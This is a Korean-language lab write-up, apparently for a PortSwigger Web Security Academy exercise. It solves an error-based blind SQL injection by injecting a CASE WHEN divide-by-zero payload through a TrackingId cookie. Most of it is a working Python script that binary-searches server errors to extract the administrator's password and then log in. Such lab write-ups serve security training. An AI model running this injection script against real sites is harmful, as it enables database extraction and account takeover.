• 주석을 사용하지 않고 case when 구문을 이용해서 에러를 유발하는 sql query 문 입니다.

[페이로드(입력 값)]

[case when 구문 조건 참일 때 - 주석 X]

[case when 구문 조건 거짓일 때 - 주석 X]

• 에러 유무에 따른 응답 결과를 통해 data를 추출할 수 있도록 Python scirpt를 제작합니다. 

[administrator passowrd 추출 - python script]

# 주석 사용하지 않은 코드
import string
import requests

url = "https://0ada005104420d0780bb089800b00070.web-security-academy.net/"

# session, TrackingId는 자신이 가지고 있는 값을 사용합니다.
session = "jTeRDnbRbQIgMz8DasJdL8L0wNLNjszJ"
TrackingId = "uUveEoJDaHYuGguk"

# 문제에서 administrator 계정의 정보는 users table에 있다고 언급이 되었고
# users table의 column은 username column과, password column이 있다고 했기 때문에
# administrator의 password 길이를 알아내고 해당 길이만큼 반복문을 돌리면서
# data를 추출할 수 있습니다.

# administrator password 길이 찾는 함수 
def find_admin_pw_len():

	# 이진 탐색법 적용	
    low = 1
    high = 256

    while low < high:
        mid = (low + high) // 2
        query = (
            f"(select length(password) from users where username ='administrator') > {mid}"
        )

        cookies = {
            "session" : f"{session}",
            "TrackingId" : f"{TrackingId}'|| (select case when ({query}) then to_char(1/0) else '' end from dual) ||'"
        }

        response = requests.get(url, cookies=cookies)
        # print(response.text)
        # print(mid)

        if "Internal Server Error" in response.text:
            low = mid + 1
        else:
            high = mid

    return (low)

# administrator password 추출 함수
def find_admin_pw():
   
    admin_pw = ''
    # administrator password 길이를 저장
	admin_pw_len = find_admin_pw_len()

    # administrator password 길이만큼 반복하면서
    # data추출
    for i in range(1, admin_pw_len+1):
    
    	# 이진 탐색법 적용
        low = 32
        high = 127

        while low < high:
            mid = (low + high) // 2
            query = (
                f"ascii(substr((select password from users where username ='administrator'), {i}, 1)) > {mid}"
            )

            cookies = {
                "session" : f"{session}",
                "TrackingId" : f"{TrackingId}'|| (select case when ({query}) then to_char(1/0) else '' end from dual) ||'"
            }

            response = requests.get(url, cookies=cookies)
            # print(response.text)
            # print(mid)

            if "Internal Server Error" in response.text:
                low = mid + 1
            else:
                high = mid
        
        admin_pw += chr(low)

    return admin_pw

print(f"administrator의 password: {find_admin_pw()}")

• 코드를 실행해 보면 다음과 같이 administrator 계정의 password를 얻어낼 수 있게 됩니다.

• 웹 페이지로 돌아가서 My account를 클릭합니다.

• 알아낸 administrator의 ID, Password를 입력합니다.

• administrator 계정으로 로그인에 성공하며 문제를 해결하게 됩니다.